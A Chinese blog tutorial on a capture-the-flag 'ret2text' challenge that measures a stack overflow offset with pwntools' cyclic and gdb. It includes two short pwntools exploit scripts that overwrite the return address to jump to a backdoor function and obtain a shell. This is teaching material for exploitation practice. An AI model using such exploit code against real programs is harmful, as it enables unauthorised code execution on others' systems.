手动测量变量溢出长度

有时ida给出的栈长度是错的。就需要我们自己手动去测量栈长度,主要用到cyclic
使用工具cyclic生成无序字符串

cyclic 数字/数字是要生成的字符串字符数

在这里插入图片描述
这里用的是大佬Cyberangel的例子
大佬的例子
checksec检查文件
在这里插入图片描述
是32位的,开启了nx保护
拖入ida
在这里插入图片描述
找到后门函数
在这里插入图片描述在这里插入图片描述
地址是0x804863A
根据s的长度
在这里插入图片描述
在这里插入图片描述
得出偏移量是0x64+4(因为这是32位文件,所以加4)
编写exp如下

from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(0x64+4)+p32(target))
p.interactive()

运行后发现
在这里插入图片描述
说明栈长度ida算错了,接下来就需要我们自己来计算偏移量了
用gdb调试程序
输入start,设置断点在main函数,输入c继续运行,将生成的无序字符粘贴在输入框中,回车
可以看到
在这里插入图片描述
观察可知溢出点为0x62616164
报错的意思是跳转到0x62616164这步出错了,意思是没有这个位置,这个位置就是200个有序字符其中最先溢出的部分。只要知道这个地址时输入的第几个字符,就可以知道前面有多少个字符了
cyclic有一个函数可以帮我们cyclic -l
根据溢出的地址可以得知溢出的四个字符为:baad(根据ASCⅡ码表)

cyclic -l daab//那四个字符

细心的人可能就会发现我输入的不是baad而是daab,这是因为机器的小端序存储,而这里溢出显示的也是小端序的,所以应该颠倒以下顺序,但是如果直接输入地址,就没这么麻烦了。

cyclic -l 0x62616164

结果和上面的是一样的,在这里插入图片描述
好啦,这样偏移量就测量出来了
修改一下exp

from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(112)+p32(target))
p.interactive()

运行在这里插入图片描述
成功获取shell

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值